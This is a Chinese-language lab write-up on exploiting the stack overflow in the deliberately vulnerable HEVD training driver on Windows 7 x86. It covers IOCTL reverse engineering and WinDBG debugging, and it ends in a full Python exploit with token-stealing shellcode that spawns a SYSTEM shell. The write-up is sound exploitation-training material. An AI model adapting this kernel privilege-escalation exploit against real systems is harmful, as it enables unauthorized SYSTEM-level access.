继续我们的Windows漏洞利用之旅,开始学习HEVD中内核驱动程序相关的漏洞,并编写有关ring 0的利用程序。正如我在OSCP中所做的准备,我主要是在博客中记录自己的进步,以此来加强认知和保留详细的笔记,以供日后参考。
本系列文章是我尝试遍历Hacksys Extreme漏洞驱动程序中所有漏洞方法的记录。
我将使用HEVD 2.0。,对我们这些刚入门的人来说,像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章,介绍了各种HEVD漏洞。 我建议您全部阅读! 在尝试完成这些攻击时,我大量引用了它们。 在此博客中,我所做的或说的,几乎没有什么是新的内容或我自己的想法/思路/技术。
驱动程序如何工作,以及用户空间,内核和驱动程序之间的不同类型,如何通信等等
如何安装HEVD
如何搭建实验环境
shellcode分析
原因很简单,其他博客文章在详细说明此信息方面,做得比我更好。 那里有很多出色的帖子,相比之下我写这个博客系列就很肤浅了。 但并不意味着我的博客写得很差,因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识,他们文章解释的就很好。:)
这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。
我使用以下博客作为参考:
非常感谢这些博客作者,没有您的帮助,我无法完成前两个漏洞。
我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。 我们将紧跟上述博客文章,但会尝试一些稍有不同的方法,使这个过程变得更加有趣并确保我们能实际学习到知识。。
在挑战这个目标之前,我从未使用过64位的架构。我认为最好先从老式的堆栈溢出漏洞开始学习,因此有关x64的漏洞利用,我们将在本系列文章的第二部分完成。
HEVD有一个kernel-mode
驱动程序的例子,以kernel/ring-0权限运行程序,利用此类服务可能会使权限低的用户将权限提升到nt authority/system
权限。
开始之前,您需要先阅读一些MSDN的文档,特别是I/O部分,里面详细介绍了内核模式驱动程序的架构。
Windows的API DeviceIoControl允许用户空间区的应用程序直接与设备驱动程序进行通信,它的参数之一是IOCTL
,这有点类似于系统调用,对应驱动程序上的某些编程函数和例程。 例如,如果您从用户空间向其发送代码1
,则设备驱动程序将会有对应的逻辑来解析IOCTL
,然后执行相应的函数。 如果要与驱动程序进行交互,就需要使用DeviceIoControl
。
让我们继续看一下MSDN上的DeviceIoControl
API定义:
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
可以看到,hDevice
是驱动程序的句柄,需要使用单独的API调用CreateFile
来打开驱动程序的句柄。让我们看一下其定义:
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
通常,与这些API交互时,需要使用C或C ++编写应用程序; 但是,我们可以直接使用python的ctypes
库,该库提供和C语言兼容的数据类型,可以直接调用动态链接库中的导出函数。虽然有多种方法满足CreateFileA
的参数需要,但是我们这里使用十六进制代码。 (还用我正在使用Python2.7,因为我讨厌在代码开发过程中弄混Python3中新的str和byte数据类型。此外,如果代码要将其移植到Python3,需要注意这些Windows API需要某些字符串编码格式。如果没考虑到Python3中将字符串视为Unicode,则CreateFileA
会失败。
我将解释一些我认为需要阐明的参数,然后其余部分留给读者去研究。不要只是学习表面上的知识,而要真正理解它们的含义。 我仅仅通过在Windows上进行了一些入门级的shell编码就熟悉了其中的一些API,但与专家还相距甚远。我发现通过跟踪调用API的示例并查看它们的代码是最有用的。
我们需要的第一个值是lpFileName
, 访问HEVD源代码找到它。但是,我认为最好将源代码当作一个黑匣子来处理。 我们将在IDA Free 7.0中打开.sys
文件,并查看是否可以对其进行跟踪。
在IDA中打开文件后,将会直接跳转到DriverEntry
函数。
可以看到,在第一个函数中有一个字符串,含有lpFileName
, \\ Device \\ HackSysExtremeVulnerableDriver
。 在我们的Python代码中,它将会被格式为"\\\\.\\HackSysExtremeVulnerableDriver"
。 你可以在google上找到更多关于这个值的信息,以及如何格式化它。
接下来是dwDesiredAccess
参数。在Rootkit's blog我们看到他使用了0xC0000000
值。这可以通过检查访问掩码格式文档并查找相应的潜在值来解释. 我们要使最高有效位(最左边)设置为C
或十进制12
。 我们可以看看winnt.h来确定此常数的含义。我们在这里看到GENERIC_READ
和GENERIC_WRITE
分别是0x80000000
和0x40000000
。 0xC0000000
就是将这两个值加在一起。这样看起来就很直观!
我想你能算出其他的参数。此时,我们的CreateFileA
和利用代码是这样的:
import ctypes, sys, struct from ctypes import * from subprocess import * kernel32 = windll.kernel32 def create_file(): hevd = kernel32.CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if (not hevd) or (hevd == -1): print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError())) sys.exit(1) else: print("[*] Successfully retrieved handle to device-driver: " + str(hevd)) return hevd
如果成功,CreateFileA将返回一个句柄给我们的设备,如果失败,CreateFileA将给我们一个错误代码。现在,我们有了句柄,可以完成DeviceIoControl
的调用。
在句柄(hevd)之后, 紧接着就是我们需要的dwIoControlCode
。IDA中显式注释的IOCTL以十进制表示。RE Stack Exchange这篇文章详细介绍了其中细微的区别。
这里有一个在MSDN上非常有名的宏CTL_CODE
,驱动程序开发人员可以使用它来生成完整的IOCTL代码。我已经放了一个小脚本,逆向这个过程,从完整的IOCTL
代码中获取CTL_CODE
参数, 在这里可以找到。使用来自RE Stack Exchange的示例,我们可以在这里演示它的输出:
root@kali:~# ./ioctl.py 0x2222CE
[*] Device Type: FILE_DEVICE_UNKNOWN
[*] Function Code: 0x8b3
[*] Access Check: FILE_ANY_ACCESS
[*] I/O Method: METHOD_OUT_DIRECT
[*] CTL_CODE(FILE_DEVICE_UNKNOWN, 0x8b3, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)
我们现在需要找到在HEVD中存在的IOCTL
。我们将再一次使用IDA。 在functions选项中,有一个IrpDeviceIoCtlHandler
函数,需要解开该函数才能确定哪些IOCTL与哪个函数相对应。 在IDA中打开该函数并向里跟踪,直到找到所需的函数为止,如下所示:
从这里开始,我所做的只是向后追溯路径,直到找到足够的信息以查看需要发送哪些IOCTL才能到达该位置。向后退一级,我们到达这里:
可以看到其中一个寄存器EAX减去了0x222003
,如果结果为零,则跳到我们想要的函数。由此可以基本看出,如果发送IOCTL 0x222003
,我们将最终获得所需的函数。但那太容易了, 让我们回到IrpDeviceIoCtlHandler
入口,看看是否可以确定有关IOCTL
解析逻辑的更多信息,并从逻辑上检查我们的工作,甚至不需要与驱动程序进行交互。
在某些时候,我们的IOCTL被加载到ECX
中,然后与0x222027
进行比较。 如果ECX
的值更大,则采用绿色分支(即JA == jump
), 如果输入的值较小,则采用红色分支。 我们假定IOCTL的值更小,因此我们以红色表示,并在此处结束:
上面这个方框所做的就是,如果我们刚才比较ECX
和0x222027
的值是相等的时候,我们将采用绿色。但是,我并不会让它们相等,所以我们再次进入红色分支:
这个比较棘手, 我们知道EAX
的值0x222027
,加上0xFFFFFFEC
即可获得0x100222013
。 不过,这将是一个额外的字节(9个字节),我们的寄存器将会忽略0x100222013
的首位1
。因此我们在EAX中使用0x222013
,然后将存储在ECX中的0x222003
与该值进行比较,会使我们再次进入红色分支,因为我们不会超过EAX
中的新值0x222013
。所以,接下来的两个方框是:
之前的比较不会以设置ZERO FLAG
结束,因此从第一个方框中我们将红色移到图片中的第二个方框,瞧! 我们回到想要的功能上方的方框中。 我们能够从逻辑上跟踪被解析的IOCTL的流程,而无需启动驱动程序。 这样的逆向过程,对于像我这样的菜鸟来说真是太棒了。
现在我们知道了,我们的IOCTL的值是0x222003
。
剩下的参数可以参考ootkit blog, 填充大量的“A”字符,下面是我们的漏洞利用代码:
import ctypes, sys, struct from ctypes import * from subprocess import * import time kernel32 = windll.kernel32 def create_file(): hevd = kernel32.CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if (not hevd) or (hevd == -1): print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError())) sys.exit(1) else: print("[*] Successfully retrieved handle to device-driver: " + str(hevd)) return hevd def send_buf(hevd): buf = "A" * 3000 buf_length = len(buf) print("[*] Sending payload to driver...") result = kernel32.DeviceIoControl( hevd, 0x222003, buf, buf_length, None, 0, byref(c_ulong()), None ) hevd = create_file() send_buf(hevd)
通过上述实验步骤了解了内核调试的逻辑
接着我们需要在受害者机器上运行此程序,同时在其他Win7主机(调试器)上对其进行内核调试。 一旦与调试器上的受害者建立了连接,就可以在WinDBG中运行以下命令:
sympath \ + <HEVD.pdb文件的路径> <-将HEVD的符号添加到我们的符号路径中
.reload <-从路径重新加载符号
ed Kd_DEFAULT_Mask 8 <-启用内核调试
bp HEVD!TriggerStackOverflow <— 在所需的函数上设置断点
在调试器上,按Ctrl
+ Break
进行暂停,然后在交互式提示符“kd>”中输入这些命令。
输入这些命令并加载符号和路径(可能需要一段时间)后,使用g
恢复执行。因为我们是正确的使用IOCTL,所以我们运行代码将会到达断点。
可以看到,程序运行到了断点对应函数,IOCTL是正确的。我们可以使用p一步一步地进入这个函数,一次一条指令。按一次p键,然后可以使用enter
作为快捷方式,因为它将重复您的上一个命令。 我们也可以转到View,然后选择跟随EIP
的反汇编,并实时向您显示汇编指令和寄存器。 在某个时候,我们的机器会crash。
我们可以看到,当机器崩溃时,我们正在执行RET 8,它将从堆栈中弹出一个值到EIP,然后将我们返回到EIP中的地址。 在这个情况下,该地址是0x41414141,该地址未映射,导致我们进入了死亡蓝屏! 我们知道,一旦有了EIP,我们就有大量的能力来重定向执行流程。 您可以在Kali上的/usr/bin
中使用msf-pattern_create
程序来创建3000字节的模式并找到偏移量。
Pattern
创建的字符可以让我们知道填充无用字符到EIP
的偏移量是2080
。接下来的4个字节应该是指向我们的shellcode的指针。 为了在内存中创建缓冲区并将其填充到我们的shellcode中,我们将使用一些ctypes
函数。
我们需要创建一个字符数组,并用我们的shellcode填充它,这一部分感谢Rootkit的博客。我们将字符数组命名为usermode_addr
,因为它最终会通知一个指向用户空间的shellcode的指针。 现在,我们的驱动程序正在内核空间中执行,但是我们将在用户空间中创建一个缓冲区,并用我们的shellcode填充它,程序将重定向到该缓冲区,执行完后返回到内核空间,就好像什么都没发生一样。
我们创建缓冲区的代码是:
shellcode = bytearray(
"\x90" * 100
)
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
我敢肯定,这等效于C语言中的以下内容:
char usermode_addr[100] = { 0x90, 0x90, ... };
(c_char * len(shellcode))
意思是说:给我一个c_char
数组,输入shellcode
的长度。
.from_buffer(shellcode)
意思说:用shellcode
值填充该数组。
我们还必须得到一个指向这个字符数组的指针,这样我们就可以把它放在EIP的位置上。为此,我们可以创建一个名为ptr
的变量,使其等于addressof(usermode_addr)
。把这个加到我们的代码中:
ptr = addressof(usermode_addr)
我们应该能够把这个ptr
放在我们的利用代码中,并且将执行重定向走到它。但是,我们仍然需要通过读写权限标记该内存区域,否则DEP
会破它。我们会使用API VirtualProtect
(在这里了解详情)。 如果您想了解有关如何使用此API的更多信息,请阅读我在ROP上的帖子。
我们这部分的代码是:
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
c_int
和c_ulong
是用于声明这些C数据类型变量的ctype
函数。byref()
将返回一个指针(与byval()
中的值一样)指向作为其参数的变量。如果该API的返回值不为零,则可以正常工作。
最后,我们将使用struct.pack("<L",ptr)
适当格式化指针,以便可以将其与我们的shellcode字节数组连接。至此,我们完整的代码如下所示:
import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time
kernel32 = windll.kernel32
def create_file():
hevd = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0,
None,
0x3,
0,
None)
if (not hevd) or (hevd == -1):
print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
sys.exit(1)
else:
print("[*] Successfully retrieved handle to device-driver: " + str(hevd))
return hevd
def send_buf(hevd):
shellcode = bytearray(
"\x90" * 100
)
print("[*] Allocating shellcode character array...")
usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(usermode_addr)
print("[*] Marking shellcode RWX...")
result = kernel32.VirtualProtect(
usermode_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)
if result != 0:
print("[*] Successfully marked shellcode RWX.")
else:
print("[!] Failed to mark shellcode RWX.")
sys.exit(1)
payload = struct.pack("<L",ptr)
buf = "A" * 2080 + payload
buf_length = len(buf)
print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)
hevd = create_file()
send_buf(hevd)
由于我们的shellcode只是NOPs
,而且我们并没有做任何事情来让程序正常执行,因此我们肯定会蓝屏并导致内核崩溃。不过,为了确认我们正在shellcode,让我们继续发送它,我们应该看到NOP
刚好超过用户空间区分配的缓冲区的末尾。
这些就是NOPs。
现在该处理这次内核崩溃了,当步入TriggerStackOverflow
函数时,在WinDBG中打印出调试消息显示,复制到内存中的驱动程序幻阵区只有0x800
字节。我们很可能破坏了一些没有注意到的内存区域。 让我们缩小payload
的长度刚好为0x800
(对应十进制的2048
)大小,然后重新运行。
buf = "A" * 2048
达到断点后逐步执行,我们会收到调试消息,有效负载是正确大小是0x800
。
当我们查看反汇编窗格时,可以在接下来的几个图像中看到此突出显示的ret 8
命令,我们退出TriggerStackOverflow
函数,然后返回StackOverflowIoctlHandler
函数。
在该函数内部,我们执行pop ebp
和ret 8
。
因为我们劫持了TriggerStackOverflow
返回后的执行(这是第一个ret 8
, 为了让它指向我们的shellcode,我们必须模拟这两个操作,分别是pop ebp
和ret 8
,我们应该在返回StackOverflowIoctlHandler
时应该执行这两个操作。)
让我们将这些添加到我们的shellcode中,看看我们是否只能发送NOPs和恢复执行,看看是否可以让受害者继续运行。 我们的新shellcode部分将如下所示:
shellcode = bytearray(
"\x90" * 100
)
shellcode = shellcode + bytearray(
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
这次应该就不会让受害者的机器崩溃。我们试试吧。
一切都很好! 它一直运行着,我们达到了断点,继续使用g
执行,我们可以看到Debuggee仍在运行并且受害者的机器没有崩溃。 我们剩下要做的就是添加shellcode。
我参考了Rootkit博客Shellcode并做了稍微, 我们最终的x86利用代码:
import ctypes, sys, struct from ctypes import * from subprocess import * import time kernel32 = windll.kernel32 def create_file(): hevd = kernel32.CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if (not hevd) or (hevd == -1): print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError())) sys.exit(1) else: print("[*] Successfully retrieved handle to device-driver: " + str(hevd)) return hevd def send_buf(hevd): shellcode = bytearray( "\x60" # pushad "\x31\xc0" # xor eax,eax "\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124] "\x8b\x40\x50" # mov eax,[eax+0x50] "\x89\xc1" # mov ecx,eax "\xba\x04\x00\x00\x00" # mov edx,0x4 "\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8] "\x2d\xb8\x00\x00\x00" # sub eax,0xb8 "\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx "\x75\xed" # jnz 0x1a "\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8] "\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx "\x61" # popad "\x5d" "\xc2\x08\x00") print("[*] Allocating shellcode character array...") usermode_addr = (c_char * len(shellcode)).from_buffer(shellcode) ptr = addressof(usermode_addr) print("[*] Marking shellcode RWX...") result = kernel32.VirtualProtect( usermode_addr, c_int(len(shellcode)), c_int(0x40), byref(c_ulong()) ) if result != 0: print("[*] Successfully marked shellcode RWX.") else: print("[!] Failed to mark shellcode RWX.") sys.exit(1) payload = struct.pack("<L",ptr) buf = "A" * 2080 buf += payload buf_length = len(buf) print("[*] Sending payload to driver...") result = kernel32.DeviceIoControl( hevd, 0x222003, buf, buf_length, None, 0, byref(c_ulong()), None ) if result != 0: print("[*] Payload sent.") else: print("[!] Unable to send payload to driver.") sys.exit(1) try: print("[*] Spawning cmd shell with SYSTEM privs...") Popen( 'start cmd', shell=True ) except: print("[!] Failed to spawn cmd shell.") sys.exit(1) hevd = create_file() send_buf(hevd)
在Rootkit的博客上已经对Shellcode进行了很好的解释,请继续阅读并了解它的作用,当我们将漏洞利用移植到x86-64时,我们使用非常相似的Shellcode方法。
这些真是太有趣了。 对我而言,最难的部分是查找有关API调用的文档,查找有关ctypes
函数的文档,然后尝试遍调试器中的shellcode, 这是开始学习WinDBG的好方法。下篇文章,我们将该漏洞利用移植到有更多功能的Windows 7 x86-64上。